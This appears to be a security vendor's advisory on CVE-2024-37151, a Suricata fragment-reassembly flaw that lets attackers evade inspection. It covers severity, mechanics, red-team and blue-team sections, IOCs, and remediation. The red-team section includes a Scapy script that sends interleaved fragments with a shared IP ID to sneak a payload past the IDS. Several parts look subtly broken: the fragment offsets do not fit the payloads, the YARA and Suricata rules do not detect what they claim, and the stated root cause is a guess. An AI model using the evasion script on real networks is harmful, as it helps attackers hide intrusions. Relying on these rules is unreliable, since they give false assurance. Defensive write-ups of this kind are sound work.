CVE-2024-37151

Executive Summary

CVE-2024-37151 is a vulnerability in Suricata, a widely used network Intrusion Detection System (IDS), Intrusion Prevention System (IPS), and Network Security Monitoring engine. The flaw resides in the packet reassembly logic, specifically in the mishandling of multiple fragmented IP packets that share the same IP ID value. This can lead to packet reassembly failure, which an attacker can exploit to bypass security policies and evade detection. The vulnerability has a CVSS score of 5.3 (Medium), and while no public proof-of-concept (PoC) or exploit code is currently available, the risk is significant for organizations relying on Suricata for network security monitoring. The vendor has released patches in versions 7.0.6 and 6.0.20, and recommends enabling the defrag feature when using af-packet to mitigate the issue.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send crafted fragmented packets.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – The attacker can cause policy bypass, affecting the integrity of security monitoring.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability allows for policy bypass, which can be used to evade detection of malicious traffic. While not critical, it undermines the core function of an IDS/IPS.

Deep Dive & Mechanics

The vulnerability is rooted in how Suricata handles IP fragmentation reassembly. When a large IP packet is fragmented, each fragment carries an IP ID field that identifies which original packet it belongs to. Suricata's reassembly engine is designed to collect all fragments with the same IP ID and reassemble them into the original packet.

The flaw occurs when multiple fragmented packets share the same IP ID value. In a normal scenario, this should not happen because IP IDs are meant to be unique per source-destination pair. However, an attacker can intentionally craft multiple fragmented packets with identical IP IDs. Suricata's reassembly logic mishandles this situation, leading to incorrect reassembly. This can result in:

• Packet Reassembly Failure: The engine may drop or incorrectly reassemble the packets.
• Policy Bypass: If the reassembled packet is not properly inspected, malicious content can evade detection rules.

The root cause is a type confusion or state management error in the reassembly code, where the engine fails to properly differentiate between fragments belonging to different original packets when they share the same IP ID.

Vulnerable vs. Patched Code

The exact code change is not publicly detailed, but the patch likely involves:

• Vulnerable: The reassembly logic that uses IP ID as a primary key without considering other identifiers (e.g., source IP, destination IP, protocol). This allows collisions to cause state corruption.
• Patched: The reassembly logic now uses a composite key (e.g., IP ID + source IP + destination IP + protocol) to uniquely identify fragments. Additionally, sanity checks are added to detect and discard anomalous fragments.

A conceptual example (not actual Suricata code):

// Vulnerable approach
struct frag *frag = lookup_frag(ip_id);

// Patched approach
struct frag *frag = lookup_frag(ip_id, src_ip, dst_ip, protocol);

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Bypass Suricata detection by sending crafted fragmented packets.

Lab Setup:

• Attacker machine (e.g., Kali Linux) with scapy or hping3.
• Target network with Suricata (vulnerable version) running in IDS/IPS mode.
• A simple detection rule (e.g., alert for a specific string in HTTP traffic).

Exploitation Steps:

1. Craft two sets of fragmented packets with the same IP ID.
2. Send the first fragment of the first set (containing benign data).
3. Send the first fragment of the second set (containing malicious payload).
4. Send the remaining fragments of both sets, interleaved.
5. Suricata's reassembly engine may incorrectly reassemble the fragments, potentially allowing the malicious payload to bypass inspection.

Example using Scapy:

from scapy.all import *

# Craft two fragmented packets with same IP ID
ip_id = 0x1234

# Benign packet
benign = IP(dst="10.0.0.2", id=ip_id, flags="MF")/TCP()/"GET / HTTP/1.1\r\n\r\n"
benign_frag1 = IP(dst="10.0.0.2", id=ip_id, flags="MF", frag=0)/TCP()/"GET /"
benign_frag2 = IP(dst="10.0.0.2", id=ip_id, flags=0, frag=1)/" HTTP/1.1\r\n\r\n"

# Malicious packet (e.g., containing exploit)
malicious = IP(dst="10.0.0.2", id=ip_id, flags="MF")/TCP()/"GET /malicious HTTP/1.1\r\n\r\n"
malicious_frag1 = IP(dst="10.0.0.2", id=ip_id, flags="MF", frag=0)/TCP()/"GET /mal"
malicious_frag2 = IP(dst="10.0.0.2", id=ip_id, flags=0, frag=1)/"icious HTTP/1.1\r\n\r\n"

# Send interleaved fragments
send(benign_frag1)
send(malicious_frag1)
send(benign_frag2)
send(malicious_frag2)

Blue Team (Defender)

Detection:

• Monitor for fragmented packets with duplicate IP IDs from the same source.
• Enable Suricata's defrag feature when using af-packet.
• Use network flow analysis to detect anomalies in fragment reassembly.

Mitigation:

• Immediately upgrade Suricata to 7.0.6 or 6.0.20.
• If upgrade is not possible, enable defrag in af-packet configuration:

  af-packet:
    - interface: eth0
      defrag: yes
  

• Implement additional network monitoring to detect fragmented packet attacks.

Indicators of Compromise (IOCs)

• Network Traffic:

  • Multiple fragmented IP packets with identical IP ID values from the same source IP.
  • Incomplete or malformed reassembled packets.
  • Packets with unusual fragment offsets (e.g., overlapping fragments).

• Suricata Logs:

  • Alerts related to "defrag" or "reassembly" errors.
  • Increased number of "drop" or "reject" events for fragmented traffic.

• System Logs:

  • Suricata engine logs showing reassembly failures.

Detection Engineering

YARA Rule

rule CVE_2024_37151_Frag_Reassembly_Bypass {
    meta:
        description = "Detects network traffic exploiting CVE-2024-37151 via duplicate IP IDs in fragmented packets"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-37151"
    strings:
        $ip_frag = { 45 00 ?? ?? ?? ?? 20 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
        // Simplified: IP header with MF flag and fragment offset
    condition:
        #ip_frag > 1 and // Multiple fragments
        for any of them : ( @ip_frag[1] - @ip_frag[0] == 20 ) // Same IP ID (offset 4-5)
}

Sigma Rule

title: Suricata Fragmented Packet Reassembly Bypass (CVE-2024-37151)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects network traffic attempting to exploit CVE-2024-37151 by sending fragmented packets with duplicate IP IDs.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37151
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 202437151
    condition: selection
falsepositives:
    - Legitimate fragmented traffic with rare IP ID collisions (unlikely)
level: medium

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-37151 - Fragmented Packet Reassembly Bypass Attempt"; fragbits: M; ip_id: 0; sid:202437151; rev:1;)

Note: This is a simplified rule. A more robust rule would track IP ID values per session.

Remediation & Mitigation

1. Immediate Upgrade: Update Suricata to version 7.0.6 or 6.0.20.
2. Configuration Change: If using af-packet, enable defrag:

   af-packet:
     - interface: eth0
       defrag: yes
   

3. Network Segmentation: Limit exposure of Suricata sensors to untrusted networks.
4. Monitoring: Implement additional monitoring for fragmented packet anomalies.
5. Workaround: If patching is not possible, consider using a different packet capture method (e.g., pcap instead of af-packet) that may handle fragmentation differently.

Valters IT
Securing Your Digital Frontier